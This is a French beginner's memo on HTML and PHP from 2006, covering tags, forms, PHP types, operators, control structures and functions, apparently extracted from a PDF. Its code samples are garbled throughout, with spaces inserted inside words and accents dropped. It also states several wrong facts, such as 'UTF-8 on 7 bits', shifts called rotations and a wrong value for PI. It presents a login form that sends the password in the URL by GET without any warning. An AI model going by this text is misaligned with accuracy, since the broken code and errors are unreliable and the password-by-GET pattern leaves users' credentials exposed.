Vous êtes sur la page 1sur 18

ANGD Mathrice CIRM Marseille

Mmo
PHP / HTML
Ce mmo a t conu pour permettre une prise en main rapide des langages
HTML et PHP.
Il se veut trs incomplet, mais est sans doute une bonne base pour
apprhender ces deux langages pour lesquels vous pourrez facilement trouver
des complments d'informations sur les sites web et dans les ouvrages cits en
bibliographie.
Damien Brmont (damien.bremont@lpthe.jussieu.fr), novembre 2006
IUT R&T de Saint-Malo Mmo PHP/HTML
Table des matires
A Le langage HTML...............................................................................................3
A.1 Introduction...............................................................................................3
A.2 Historique.................................................................................................3
A.3 HTML : Un langage balises............................................................................3
A.4 Les attributs...............................................................................................3
A.5 Les commentaires........................................................................................4
A.6 Notion de document HTML.............................................................................4
A.7 La page HTML minimum.................................................................................4
A.8 Codage des caractres spciaux.......................................................................4
A.9 Prsentation des donnes...............................................................................5
A.10 Les tableaux.............................................................................................6
A.11 Liens hypertextes.......................................................................................6
A.12 Les images...............................................................................................7
A.13 Les formulaires..........................................................................................7
A.14 Conclusion HTML ......................................................................................10
B Introduction au langage PHP................................................................................11
B.1 Introduction..............................................................................................11
B.2 Historique................................................................................................11
B.3 Principes de fonctionnement.........................................................................11
B.4 Avantages et inconvnients de PHP.................................................................12
B.5 Mon premier script.....................................................................................12
C Les base du langage PHP....................................................................................14
C.1 Pour bien dmarrer.....................................................................................14
C.2 Les types de donnes..................................................................................15
C.3 Les oprateurs..........................................................................................18
C.4 Structures de contrle.................................................................................19
C.5 Les fonctions............................................................................................21
C.6 Fonctionnalits avances..............................................................................22
D PHP et la scurit............................................................................................30
D.1 Anciens fichiers et fichiers *.inc.....................................................................30
D.2 L'inclusion de fichiers..................................................................................31
E Codes HTTP....................................................................................................33
D.Brmont 05/2006 2/35
IUT R&T de Saint-Malo Mmo PHP/HTML
A Le langage HTML
A.1 Introduction
Ce premier chapitre est un rappel thrapeutique sur le langage HTML, il n'a nullement la
prtention d'tre un cours sur le HTML, mais permet simplement de comprendre les rudiments
du langage HTML et de voir les fonctions de base de ce langage.
Le HTML ("HyperText Markup Language") est un langage balise de prsentation de donnes
utilis sur le World Wide Web.
Il permet notamment la lecture de documents partir de machines diffrentes grce au
protocole HTTP, permettant d'accder via le rseau des documents reprs par une adresse
unique, appele URL.
Faut-il le rappeler, on accde au web l'aide de navigateurs internet dont les plus connus sont
Internet Explorer, Mozilla Firefox et Safari.
A.2 Historique
Le langage HTML a t mis au point par Tim Berners-Lee, chercheur au CERN qui en est
l'origine. C'est partir de 1993 que l'on considre l'tat du HTML suffisamment avanc pour
parler de langage (HTML est alors baptise symboliquement HTML 1.0). Le navigateur internet
utilis l'poque tait nomm NCSA Mosac.
En dcembre 1997, le HTML 4.0 a t publi. La dernire version, HTML 4.01 apportant des
modifications mineures est apparue fin 1999, elle est la dernire encore aujourd'hui puisque les
dveloppements de HTML sont arrts depuis.
A.3 HTML : Un langage balises
Les balises HTML sont gnralement prsentes par paire afin d'agir sur les lments qu'elles
encadrent. La premire est appele "balise d'ouverture" et la seconde "balise de fermeture". La
balise de fermeture est prcd du caractre /) :
Ainsi les balises <b> et </b> permettent de mettre en gras le texte qu'elles encadrent :
<b> Ce t ext e est en gr as </ b>
Les balises HTML ont la particularit de pouvoir tre imbriques de manire hirarchique afin de
permettre le cumul de leurs proprits, cependant le chevauchement n'est pas correct, comme
dans l'exemple ci-dessous :
<b><i >Ce t ext e est en gr as</ b>, cel ui - ci en i t al i que</ i >
A.4 Les attributs
Un attribut est un lment, prsent au sein de la balise ouvrante, permettant de dfinir des
proprits supplmentaires la balise laquelle il appartient.
Voici un exemple d'attribut pour la balise <p> (balise dfinissant un paragraphe) permettant de
spcifier que le texte doit tre align sur la droite :
D.Brmont 05/2006 3/35
IUT R&T de Saint-Malo Mmo PHP/HTML
<p al i gn=" r i ght " >Exempl e de par agr aphe</ p>
Chaque balise peut comporter un ou plusieurs attributs, chacun pouvant avoir aucune, une ou
plusieurs valeurs.
A.5 Les commentaires
Des balises spciales permettent d'insrer des commentaires dans le code HTML
<! - - Voi ci un comment ai r e - - >
A.6 Notion de document HTML
Une page HTML est un simple fichier texte contenant des balises HTML. Par convention
l'extension donne une page HTML est .htm ou .html mais une page web peut potentiellement
porter n'importe quelle extension notamment .php, .php3 ou .php4 pour une page gnre
dynamiquement en PHP.
A.7 La page HTML minimum
Une page HTML est un fichier texte commenant par la balise <HTML> et finissant par la balise
</HTML>. Elle contient galement un en-tte dcrivant le titre de la page, puis un corps dans
lequel se trouve le contenu de la page.
L'en-tte est dlimit par les balises <HEAD> et </HEAD>.
Le corps est dlimit par les balises <BODY> et </BODY>.
Ainsi la page HTML minimum peut tre reprsente comme suit :
<HTML>
<HEAD>
<TI TLE> Le t i t r e </ TI TLE>
</ HEAD>
<BODY>
Cont enu de l a page
</ BODY>
</ HTML>
La ligne suivante doit galement tre ajoute en prologue pour indiquer le type de document.
Elle fait ainsi rfrence la norme HTML, afin de spcifier le standard et la version utilise pour
le codage de la page en HTML.
<! DOCTYPE HTML PUBLI C " - / / W3C/ / DTD HTML 4. 0/ / EN" >
A.8 Codage des caractres spciaux
Par dfaut la norme HTML code les caractres au format UTF-8 sur 7 bits, ce qui donne un
alphabet assez pauvre, puisque par dfaut les caractres accentus ne sont pas possible.
Il existe alors deux mthodes pour rendre accessible depuis tous les pays et tous les navigateurs
les caractres spciaux dont raffole par exemple la langue franaise.
La plus simple et celle recommand, consiste tendre le jeu de caractre en ajoutant dans le
header du fichier HTML les informations de contenu suivantes :
D.Brmont 05/2006 4/35
IUT R&T de Saint-Malo Mmo PHP/HTML
<met a ht t p- equi v=" Cont ent - Type" cont ent =" t ext / ht ml ;
char set =i so- 8859- 1" >
ISO 8859-1 tant le code ISO de la franaise, il devient alors possible d'utiliser normalement
notre alphabet, qui sera alors cods sur 8 bits.
La seconde consiste remplacer les caractres spciaux par leur quivalant en code HTM., voici
donc quelques caractres que l'on rencontre frquemment :
Caractre Code ISO Code HTML
" &#34; &quot;
& &#38; &amp;
&#139; &lt;
&#155; &gt;
espace &#160; &nbsp;
&#231; &ccedil;
&#232; &egrave;
&#233; &eacute;
&#234; &ecirc;
A.9 Prsentation des donnes
HTML tant conformment sa dfinition un langage de prsentation de donnes, il dispose de
nombreuses balises permettant de mettre en valeur les informations, les principales sont :
Balise de style Effet Visuel
<I> Italique
<B> Met la police en gras
<H1><H2>......<H6> Niveau de titre (du plus grand au plus petit)
Il existe beaucoup d'autres balises permettant mettre en exposant, en indice,....
Les balises <Hx> peuvent tre compltes par des attributs d'alignement par exemple (LEFT,
RIGHT, CENTER, JUSTIFY, ....).
Ainsi pour faire un beau titre de page on peut par exemple crire :
<H1 ALI GN=J USTI FY> Text e j ust i f i </ H1>
Le langage HTML considre les paragraphes comme des blocs de texte. Les navigateurs
rpartissent au mieux leur contenu dans la fentre.
A l'intrieur d'un paragraphe, les espaces, tabulations et retours chariot comptent pour un seul
espace.
La mise en page par blocs de texte est ralise par l'intermdiaire de la paire de balises <p> et
</p>
D.Brmont 05/2006 5/35
IUT R&T de Saint-Malo Mmo PHP/HTML
Le retour chariot (retour la ligne simple) est ralis grce la balise <br>
A.10 Les tableaux
Les tableaux sont encadrs par les balises <TABLE> et </TABLE>
Le titre du tableau est encadr par <CAPTION> </CAPTION>
Les cellules d'en-tte sont encadres par <TH> </TH> (pour Table Header)
Chaque ligne est encadre par <TR> </TR> (Table Row)
Les cellules de valeur sont encadres par <TD> </TD> (Table Data)
Par exemple le tableau:
<TABLE BORDER=" 1" >
<CAPTI ON> Voi ci l e t i t r e du t abl eau </ CAPTI ON>
<TR>
<TH> Ti t r e A1 </ TH>
<TH> Ti t r e A2 </ TH>
<TH> Ti t r e A3 </ TH>
<TH> Ti t r e A4 </ TH>
</ TR>
<TR>
<TH> Ti t r e B1 </ TH>
<TD> Val eur B2 </ TD>
<TD> Val eur B3 </ TD>
<TD> Val eur B4 </ TD>
</ TR>
</ TABLE>
On obtient alors le tableau suivant :
De trs nombreux attributs peuvent tre ajouts aux balises de tableaux afin d'aligner
(verticalement, et horizontalement) espacer les cellules, mettre en valeur les donnes du
tableau...
A.11 Liens hypertextes
Les liens hypertextes permettent de naviguer:
* vers une autre machine
* vers un fichier HTML situ un emplacement diffrent sur la machine qui hberge la page
* vers un autre endroit du document
Dans le cas d'un lien externe on crira ainsi pour pointer vers l'URL (Universal Ressource Locator)
du site web du CNRS
<a hr ef =" ht t p: / / www. cnr s. f r / " >CNRS</ a>
On peut crer un lien vers une page situe sur le mme ordinateur en remplaant l'URL par le
fichier cible.
Ce lien peut tre fait de faon relative, en reprant le fichier cible par rapport au fichier
D.Brmont 05/2006 6/35
IUT R&T de Saint-Malo Mmo PHP/HTML
source. Si le fichier cible est "index.html" situ dans le rpertoire parent, son lien s'crira:
<a hr ef =" . . / i ndex. ht ml " >Ret our ner l ' accuei l </ a>
Ce lien peut aussi tre fait de faon absolue, en crivant l'adresse du fichier cible de faon
locale, ou bien par rapport la racine du site web.
<a hr ef =" / i ndex. ht ml " >Ret our ner l ' accuei l </ a>
Les signets permettent de marquer un endroit prcis d'une page pour s'y rendre par hypertexte.
Cela se fait grce l'attribut NAME ou ID.
Par exemple:
<p i d=" haut " > . . . </ p>
On l'appellera grce au lien suivant qui aura pour effet de renvoyer au signe haut :
<a hr ef =" #haut " >Haut de l a page</ a>
A.12 Les images
Quelques images sur un site Web peuvent le rendre plus attractif et plus convivial !
La balise IMG du langage HTML permet d'insrer des images dans une page.
Seuls les formats d'images suivants sont accepts en standard dans les spcifications du W3C :
Les images JPEG (.JPG)
Les images PNG : Leur taille est faible dans le cas d'images avec peu de couleurs avec des
tons uniformes, ce format permet en outre d'avoir des images entrelaces (qui s'affichent
progressivement)
Les images GIF : Elles possdent les mmes atouts que les images PNG, si ce n'est que format
n'est pas totalement libre.
Les attributs disponibles pour une image sont les suivants :
SRC: Indique l'emplacement de l'image (il est obligatoire)
ALIGN: Spcifie l'alignement de l'image par rapport au texte adjacent.
ALT: Permet d'afficher un texte alternatif lorsque l'image ne s'affiche pas (obligatoire).
TITLE: Permet d'afficher une infobulle lors du survol de l'image par le curseur.
WIDTH: Permet de spcifier la largeur de l'image.
HEIGHT: Permet de spcifier la hauteur de l'image.
Soit l'exemple suivant :
<I MG SRC=" ur l _de_l _i mage"
ALT=" Text e r empl aant l ' i mage"
TI TLE=" Text e af f i cher " >
A.13 Les formulaires
Les formulaires interactifs permettent aux auteurs de pages Web de dialoguer avec leurs
internautes, comme par exemple dans des systmes de rservation en ligne, des moteurs de
D.Brmont 05/2006 7/35
IUT R&T de Saint-Malo Mmo PHP/HTML
recherche, ....
Le lecteur saisit des informations en remplissant des champs puis appuie sur un bouton de
soumission (submit) pour l'envoyer une URL, c'est--dire un script qui sera excut (CGI
Common Gateway Interface) ou interprt (PHP, ASP...)
A.13.1 La balise FORM
Les formulaires sont dlimits par la balise <FORM> ... </FORM>, une balise qui permet de
regrouper plusieurs lments de formulaire (boutons, champs de saisie,...) et qui possde les
attributs obligatoires suivants :
METHOD indique sous quelle forme seront envoyes les rponses :
POST correspond un envoi de donnes stockes dans le corps de la requte, c'est
dire que les donnes sont directement stockes dans l'en tte de la requte HTTP.
GET correspond un envoi des donnes codes dans l'URL, et spares de l'adresse du
script par un point d'interrogation soit :
ht t p: / / monsi t e. com/ i ndex. php3?champ1=val 1&champ2=val 2
ACTION indique l'adresse d'envoi (par exemple une page en php)
La balise FORM possde comme attribut facultatif ENCTYPE qui spcifie le codage des donnes
dans l'URL, qui peut tre utilis pour l'envoi de fichiers.
Cela peut par exemple donner cela :
<FORM met hod=" GET" act i on=" val i der _r esul t at s. php" >
<! - - Descr i pt i on des champs du f or mul ai r e voi r ci - dessous- - >
</ FORM>
Il est possible d'insrer n'importe quel lment HTML de base dans une balise FORM (textes,
boutons, tableaux, liens,...) mais il est surtout intressant d'insrer des lments interactifs.
Ces lments interactifs sont:
La balise INPUT: un ensemble de boutons et de champs de saisie
La balise TEXTAREA: une zone de saisie
La balise SELECT: une liste choix multiples
A.13.2 La balise INPUT
La balise INPUT est la balise essentielle des formulaires, car elle permet de crer un bon nombre
d'lments "interactifs". La syntaxe de cette balise est la suivante:
<I NPUT t ype=" Nomdu champ" val ue=" Val eur par df aut " name=" Nom
de l ' l ment " >
L'attribut name est essentiel car il permettra au script de connatre la variable contenant la
valeur fournie par l'utilisateur.
L'attribut type permet de prciser le type d'lment que reprsente la balise INPUT, voici les
D.Brmont 05/2006 8/35
IUT R&T de Saint-Malo Mmo PHP/HTML
valeurs que ce champ peut prendre:
checkbox: il s'agit de cases cocher pouvant admettre deux tats: checked (coch) et
unchecked (non coch).
hidden: il s'agit d'un champ cach.
password: il s'agit d'un champ de saisie, dans lequel les caractres saisis apparaissent sous
forme d'astrisques afin de camoufler la saisie de l'utilisateur
radio: il s'agit d'un bouton permettant un choix parmi plusieurs proposs. L'ensemble des
boutons radios doit porter le mme nom et un attribut checked pour un des boutons
permet de prciser le bouton slectionn par dfaut
reset: il s'agit d'un bouton de remise zro permettant uniquement de rtablir l'ensemble
des lments du formulaire leurs valeurs par dfaut
submit: il s'agit du bouton de soumission permettant l'envoi du formulaire. Le texte du
bouton peut tre prcis grce l'attribut value
text: il s'agit d'un champ de saisie permettant la saisie d'une ligne de texte. La taille du
champ peut tre dfinie l'aide de l'attribut size et la taille maximale du texte saisi grce
l'attribut maxlength
file: il s'agit d'un champ permettant l'utilisateur de prciser l'emplacement d'un fichier
qui sera envoy avec le formulaire.
<FORM met hod=" GET" act i on=" val i der _r esul t at s. php" >
<! - - Un champ de t ext e pour sai si r l e nom- - >
Nom: <I NPUT t ype=t ext name=" nom" maxl engt h=" 10" ><br >
<! - - Deux bout ons r adi os pour sai si r l e sexe- - >
Homme : <I NPUT t ype=r adi o name=" sexe" val ue=" M" checked><br >
Femme : <I NPUT t ype=r adi o name=" sexe" val ue=" F" ><br >
<! - - Le bout on pour val i der l e f or mul ai r e- - >
<I NPUT t ype=" submi t " val ue=" Envoyer " >
</ FORM>
Avec le code HTML ci-dessus, on obtient le formulaire suivant :
A.13.3 La balise TEXTAREA
La balise TEXTAREA permet de dfinir une zone de saisie plus vaste par rapport la simple ligne
de saisie que propose la balise INPUT. Cette balise possde les attributs suivants:
cols: reprsente le nombre de caractres que peut contenir une ligne
rows: reprsente le nombre de lignes
name: reprsente le nom associ au champ
La valeur par dfaut de la zone de texte est encarte entre les balises TEXTAREA.
D.Brmont 05/2006 9/35
IUT R&T de Saint-Malo Mmo PHP/HTML
<TEXTAREA r ows=" 3" name=" comment ai r es" >
Tapez i ci vos comment ai r es</ TEXTAREA>
Ce qui donne le champ de formulaire suivant :
A.13.4 La balise SELECT
La balise SELECT permet de crer une liste droulante d'lments (prciss par des balises
OPTION l'intrieur de celle-ci). Les attributs de cette balise sont:
name: reprsente le nom associ au champ
size: reprsente le nombre de lignes de la liste
multiple: marque la possibilit pour l'utilisateur de choisir plusieurs champs dans la liste
<SELECT name=" t ype_f i l m" >
<OPTI ON VALUE=" comedi e" SELECTED>Comi di e</ OPTI ON>
<OPTI ON VALUE=" dr ame" >Dr ame</ OPTI ON>
<OPTI ON VALUE=" er ot i que" >Er ot i que</ OPTI ON>
</ SELECT>
Donne le formulaire choix multiple suivant :
A.14 Conclusion HTML
Flicitation, vous avez russi a atteindre la fin de la description succincte du langage HTML, elle
est trs largement incomplte, cependant, je ne saurais que vous renvoyer vers le site du W3C
(World Wide Web Consortium) sur lequel vous retrouvez la norme HTML4.01 dans son intgralit.
http://www.w3.org/TR/REC-html40/
Vous trouverez galement sur le site du W3C un moteur vous permettant de vrifier la validit
des codes HTML que vous produirez. Si vous respectez la norme vous aurez alors le droit
d'apposer le logo du W3C sur votre site.
http://validator.w3.org/
D.Brmont 05/2006 10/35
IUT R&T de Saint-Malo Mmo PHP/HTML
Le langage PHP
B Introduction au langage PHP
B.1 Introduction
PHP EST UN LANGAGE DE SCRIPT INTERPRT LARGEMENT UTILIS ET SPCIALEMENT TUDI
POUR LES DVELOPPEMENTS ORIENTS WEB. IL EST EXCUT CT SERVEUR CONTRAIREMENT
JAVASCRIPT QUI LUI EST EXCUT CT CLIENT.
B.2 Historique
Le langage PHP a t mis au point en 1994 par Rasmus Lerdorf, sous forme succincte pour
connatre le nombre de connexions sur sa page personnelle contenant son CV en ligne.
En 1995, la demande des utilisateurs, il publie la premire version 1.0 qu'il nomme Personal
Home Page.
Suit rapidement la version 2 nomme PHP/FI et qui gre les formulaires et les bases de donnes
mSQL.
En 1998 apparat la version 3 ralise dsormais par une quipe de dveloppeurs.
En 2000 sortie de PHP 4 avec apport de la programmation oriente objet, puis en 2004 arrive
de PHP 5 dot du nouveau moteur Zend 2.0 et de nouvelles fonctionnalits (objet
principalement).
B.3 Principes de fonctionnement
Figure 1
D.Brmont 05/2006 11/35
Navigateur
web
Serveur
Web
Interprteur
PHP
Serveur
1 ) Requte HTTP
toto.php
SGBD
DD
2 ) Recherche de toto.php
sur le disque dur
3 ) Interprtation
du code PHP
5 ) Rponse HTTP
4 ) Interrogation
ventuelle base de
donne
Affichage
page
Client
IUT R&T de Saint-Malo Mmo PHP/HTML
B.4 Avantages et inconvnients de PHP
Ses principaux atouts sont:
La gratuit et la disponibilit du code source (PHP est distribu sous licence GNU GPL)
La simplicit d'criture de scripts (hrite du C et du PERL)
La possibilit d'inclure le script PHP au sein d'une page HTML
La simplicit d'interfaage avec des bases de donnes (MySql, PostgreSQL, Oracle, ...)
Richesse des bibliothques (LDAP, maths, synthse d'images, ...)
L'intgration au sein de nombreux serveurs web (Apache, Microsoft IIS, etc.)
La portabilit et l'intgration sur de nombreuses plate-formes (Linux, Unix, Windows)
Malheureusement, PHP comporte galement des inconvnients :
(Trs) frquentes failles de scurit
Lenteur d'excution. En effet les scripts sont lancs ct serveur, ils peuvent donc tre
amens grer de nombreuses requtes simultanes
Pas d'interactivit avec le client (besoin d'avoir recours Javascript)
Une mauvaise programmation de vos scripts peut crer de gros trous de scurit
risquant de compromettre votre serveur.
B.5 Mon premier script
L'exemple comment du code PHP du fichier test.php sera interprt, il a t insr
directement dans le code HTML entre les balises <? et ?>.
D.Brmont 05/2006 12/35
IUT R&T de Saint-Malo Mmo PHP/HTML
<HTML>
<HEAD>
<TI TLE>Mon pr emi er scr i pt </ TI TLE>
</ HEAD>
<BODY>
<?
/ / Chouet t e j e peux cr i r e en PHP mai nt enant
echo " Hel l o Wor l d" ;
/ * Le t est t r adi t i onnel af f i cher a
si mpl ement sur l a page web : Hel l o Wor l d*/
?>
<BODY>
</ HTML>
test.php
Il est galement possible de ne pas mlanger code PHP et code HTML, ce qui est judicieux pour
ne pas dgrader la lisibilit des programmes.
D.Brmont 05/2006 13/35
IUT R&T de Saint-Malo Mmo PHP/HTML
Toujours sur le mme exemple il pourrait tre fait :
<?
/ / On i ncl ut l ' en t t e HTML
i ncl ude " header . i nc" ;
echo " Hel l o Wor l d" ;
/ / Et l e pi ed de l a page
i ncl ude " f oot er . i nc" ;
?>
test.php
<HTML>
<HEAD>
<TI TLE>Mon pr emi er scr i pt </ TI TLE>
</ HEAD>
<BODY>
header.inc
<BODY>
</ HTML>
footer.inc
NOTA l'extension .inc a t choisie arbitrairement, elle ne sera pas interprte
par le serveur web, le contenu du fichier sera donc juste coll
Il est galement possible d'intgrer des fichiers php dans une page php grce
aux fonctions require("mon_fichier.php") et require_once("mon_fichier.php")
Ces fichiers peuvent par exemple servir de fichier de configuration, ou bien permettre la
description de fonctions.
C Les base du langage PHP
C.1 Pour bien dmarrer
Cette partie va dfinir succinctement les rudiments et les spcificits du langage PHP. Comme
vous les verrez, la syntaxe est trs proche de celle du C.
Tout d'abord la casse n'intervient pas dans les noms de fonctions
echo " Bonj our " ;
EcHo " Bonj our " ;
sont quivalents
En revanche, elle intervient dans les noms de variables
$nom=" bonj our " ;
$NOM=" bonj our " ;
dsignent deux variables diffrentes, par contre les noms de variable ne doivent pas commencer
par un chiffre
D.Brmont 05/2006 14/35
IUT R&T de Saint-Malo Mmo PHP/HTML
C.2 Les types de donnes
Les variables, elle sont prcds d'un $, par contre il n'y a pas de dclaration, l'affectation
dtermine le type de la variable.
PHP supporte les types de donnes suivants :
Boolens (TRUE / FALSE)
nombres entiers
nombres virgule flottante
chanes de caractres ($nom="bonjour";)
tableaux
objets (programmation oriente objet)
Les constantes (define (PI, 3.14116))
C.2.1 Les chanes de caractre
Entre guillemets simples, rien n'est interprt (sauf \' chappement de ' et \\ chappement du
caractre \)
$ch1 = ' Bonj our ' ;
Entre guillemets doubles, sont interprts les variables, les caractres spciaux \n \r \t \$ \" \\
$ch2 = " Monsi eur ! \ n" ;
Le . est utilis pour concatner des chanes de caractre
$ch3 = $ch1. " Monsi eur ! \ n" ;
echo" \ n" ;
provoque un saut de ligne dans le code HTML gnr mais ne provoque de saut de ligne HTML (il
faut utiliser <br>) !
C.2.2 Conversion de chanes de caractres en valeur numrique
Attention l'absence de dclaration des variables contrairement au C simplifie la vie mais peut
conduire des rsultats inattendus :
D.Brmont 05/2006 15/35
IUT R&T de Saint-Malo Mmo PHP/HTML
$i = 1 + " 4. 5" ;
/ / $i vaut 5. 5
$i = 1 + " t ot o + 9" ;
/ / $i vaut 1
$i = 1 + " t ot o + 9" ;
/ / $i vaut 1
$i = 1 + " 9 + t ot o" ;
/ / $i vaut 10
/ / La val eur est df i ni e par l e pr emi er car act r e de l a cha ne
/ / 0 si c' est du t ext e donc 0 pour l e t de t ot o
C.2.3 Tableaux
Les tableaux en PHP sont rfrencs par des clefs qui peuvent tre :
des listes de valeurs indices ( 0, 1, 2, ...)
$t ab[ 0] = 1;
$t ab[ 1] = " une cha ne" ;
des tableaux associatifs
$t ab[ " nom" ] =" Bul l ock" ;
$t ab[ " pr enom" ] =" Sandr a" ;
NOTA Les tableaux peuvent tre multidimensionnels
Les tableaux peuvent prtre initialiss implicitement comme ci-dessus ou bien avec la fonction
array
Indic
$t ab = ar r ay( " 1" , " une chai ne" , 120) ;
Associatif
$mes=ar r ay( " nom" =>" Bul l ock" , " pr enom" => " Sandr a" ) ;
La fonction count($tab) retourne le nombre d'lments du tableau tab.
C.2.4 Les constantes
Comme en C il est possible de dfinir des constantes :
def i ne( " MAX" , 255) ;
D'autres constantes sont galement dfinis par le systme comme
TRUE, FALSE
PHP_OS : systme d'exploitation du serveur
PHP_VERSION : version de PHP utilise
D'autres offrent des informations plus ou moins utiles par exemple sur les clients se connectant
au site comme :
$REMOTE_HOST : nom de la machine client
$REMOTE_ADDR : adresse IP de la machine client
D.Brmont 05/2006 16/35
IUT R&T de Saint-Malo Mmo PHP/HTML
$REMOTE_USER : nom du client aprs identification
$HTTP_USER_AGENT : nom du navigateur
La liste n'est pas exhaustive.
C.2.5 Porte des variables
La porte d'une variable dpend du contexte dans lequel la variable est dfinie. Pour la majorit
des variables, la porte concerne la totalit d'un script PHP. Mais, lorsque vous dfinissez une
fonction, la porte d'une variable dfinie dans cette fonction est locale la fonction. Par
exemple:
<?php
$a = 1; / * por t e gl obal e */
f unct i on t est ( ) {
echo $a; / * por t e l ocal e */
}
t est ( ) ;
?>
Le script n'affichera rien l'cran car la fonction echo utilise la variable locale $a, et celle-ci
n'a pas t assigne pralablement dans la fonction. Vous pouvez noter que ce concept diffre
un petit peu du langage C dans lequel une variable globale est automatiquement accessible dans
les fonctions, moins d'tre redfinie localement dans la fonction. Cela peut poser des
problmes si vous redfinissez des variables globales localement. En PHP, une variable globale
doit tre dclare l'intrieur de chaque fonction afin de pouvoir tre utilise dans cette
fonction, cette dclaration se fait l'aide du mot cl global.
<?
$a = 1;
$b = 2;
f unct i on somme( )
{
gl obal $a, $b;
$b = $a + $b;
}
somme( ) ;
echo $b;
?>
Dans cet exemple le rsultat affich sera 3 puisque la fonction somme a additionn $a et $b,
variables globales.
Une autre caractristique importante de la porte des variables est la notion de variable static.
Une variable statique a une porte locale uniquement, mais elle ne perd pas sa valeur lorsque le
script rappelle la fonction. Prenons l'exemple suivant:
D.Brmont 05/2006 17/35
IUT R&T de Saint-Malo Mmo PHP/HTML
<?php
f unct i on t est ( )
{
st at i c $a = 0;
echo $a;
$a++;
}
?>
Ainsi chaque nouvel appel de la fonction test, $a sera incrment de 1, le contenu de la
variable $a tant conserv puisqu'elle est dfinie comme statique.
C.3 Les oprateurs
Les oprateurs en PHP sont trs similaires ceux en C, les voici de manire synthtique et par
ordre de priorit dcroissante
Les oprateurs de calcul
+ addition
- soustraction
* multiplication
/ division
= affectation (de valeur une variable)
% modulo (reste de la division)
Les oprateurs d'assignation
+= addition deux valeurs et stocke le rsultat dans la variable ( gauche)
-= soustrait deux valeurs et stocke le rsultat dans la variable
*= multiplie deux valeurs et stocke le rsultat dans la variable
/= divise deux valeurs et stocke le rsultat dans la variable
%= donne le reste de la division deux valeurs et stocke le rsultat dans la variable
|= Effectue un OU logique entre deux valeurs et stocke le rsultat dans la variable
^= Effectue un OU exclusif entre deux valeurs et stocke le rsultat dans la variable
&= Effectue un Et logique entre deux valeurs et stocke le rsultat dans la variable
.= Concatne deux chanes et stocke le rsultat dans la variable
Les oprateurs d'incrmentation
++ Incrmentation
-- Dcrmentation
Les oprateurs de comparaison
D.Brmont 05/2006 18/35
IUT R&T de Saint-Malo Mmo PHP/HTML
== oprateur d'galit
< oprateur d'infriorit stricte
<= oprateur d'infriorit
> oprateur de supriorit strict
>= oprateur de supriorit
!= oprateur de diffrence
Les oprateurs logiques (boolens)
|| ou OR OU logique
&& ou AND ET logique
XOR OU exclusif
! NON logique
Les oprateurs bit--bit
& ET bit--bit
| OU bit--bit
^ OU exclusif
~ Complment (NON)
Les oprateurs de rotation de bit
<< Rotation gauche
>> Rotation droite
Autres oprateurs
. Concatnation
$ Rfrencement de variable
-> Proprit d'un objet
Faites cependant surtout attention l'absence de dclaration des variables qui
peut facilement amener comparer des types diffrents.
C.4 Structures de contrle
Les structures de contrle (if, while, for, ...) en PHP ont la mme syntaxe qu'en C. Pour
mmoire, les voici rappeles.
D.Brmont 05/2006 19/35
IUT R&T de Saint-Malo Mmo PHP/HTML
C.4.1 Instruction if
i f ( condi t i on r al i se)
{
l i st e d' i nst r uct i ons
}
el se
{
aut r e sr i e d' i nst r uct i ons
}
Si il y a plusieurs conditions possibles, voici la syntaxe :
i f ( ( condi t i on1) &&( condi t i on2) )
i f ( ( condi t i on1) | | ( condi t i on2) )
Voici la seule diffrence offerte par PHP vis vis du C, le Si.... Mais !
i f ( $a > $b)
{
echo " a est pl us gr and que b" ;
}
el sei f ( $a == $b)
{
echo " a est gal b" ;
}
el se
{
echo " a est pl us pet i t que b" ;
}
C.4.2 L'instruction while
whi l e ( condi t i on r al i se)
{
l i st e d' i nst r uct i ons
}
D.Brmont 05/2006 20/35
IUT R&T de Saint-Malo Mmo PHP/HTML
C.4.3 Instruction switch
swi t ch ( Var i abl e)
{
case Val eur 1 :
Li st e d' i nst r uct i ons
br eak;
case Val eur 2 :
Li st e d' i nst r uct i ons
br eak;
. . .
def aul t :
Li st e d' i nst r uct i ons
br eak;
}
C.4.4 boucle for
Mme chose qu'en C :
f or ( compt eur ; condi t i on; modi f i cat i on du compt eur )
{
l i st e d' i nst r uct i ons
}
Exemple
f or ( $i =1; $i <6; $i ++)
{
echo " $i <br >" ;
}
C.5 Les fonctions
PHP recle de nombreuses fonctions intgres permettant d'effectuer des actions courantes.
Toutefois, il est possible de dfinir des fonctions utilisateur, il est mme vivement conseill que
ce soit pour des actions rptitives, ou bien pour simplement pour la lisibilit du code.
La dclaration d'une fonction se fait grce au mot-cl function, selon la syntaxe suivante:
D.Brmont 05/2006 21/35
IUT R&T de Saint-Malo Mmo PHP/HTML
f unct i on Addi t i on ( $i , $j )
{
/ / $i et $j sont des var i abl es l ocal es
$somme = $i + $j ;
r et ur n $somme;
}
$i = 2;
$j = 3;
/ / Appel de l a f onct i on, passage par val eur
$k = Addi t i on ( $i , $j ) ;
echo $k;
Une fonction peut ne rien retourner, tout comme elle peut renvoyer n'importe quel type de
variable.
En prcdant le nom de la variable par & on ralise un passage de variable par rfrence.
De mme il est important de veiller limiter l'espace mmoire utilise par les variables, on
privilgiera donc toujours les variables locales plutt que les variables globales plus gourmandes.
C.6 Fonctionnalits avances
A quoi servirait un tel langage si on ne luis donnait pas d'inter-activit avec l'utilisateur ?
Voil bien un des points forts de ce langage, il permet facilement de dialoguer avec les
internautes, grce de nombreuses fonctions comme dans le domaine des bases de donnes, des
gestions de sessions, .....
C.6.1 Rcuprer les donnes utilisateurs
Pour commencer, nous allons voir comment exploiter les donnes qui ont t transmises par un
utilisateur dans un formulaire HTML au moyen des mthodes POST ou GET.
Prenons par exemple un formulaire trs simple permettant l'authentification
Et dont voici le code source en HTML :
D.Brmont 05/2006 22/35
IUT R&T de Saint-Malo Mmo PHP/HTML
<ht ml >
<head>
<t i t l e>Aut hent i f i cat i on</ t i t l e>
</ head>
<body>
<f or mmet hod=" GET" act i on=" ver i f i cat i on. php" >
<t abl e>
<t r >
<t d>Logi n : </ t d>
<t d><i nput t ype=" t ext " name=" Logi n" si ze=" 10" ></ t d>
</ t r >
<t r >
<t d>Mot De Passe : </ t d>
<t d><i nput t ype=" passwor d" name=" Passwor d" si ze=" 10" ></ t d>
</ t r >
</ t abl e>
<i nput t ype=" submi t " val ue=" Val i der " name=" Val i der " >
</ f or m>
</ body>
</ ht ml >
Quand l'utilisateur cliquera sur le bouton valider, il transmettra au programme serveur les
informations dans l'URL, la mthode GET tant employe :
Logi n=t ot o&Passwor d=t at a
Le script PHP rcupre alors les informations dans des variables ce qui reviendrait dans le
programme faire des dclarations de variables avec :
$Logi n=t ot o;
$Passwor d=t at a;
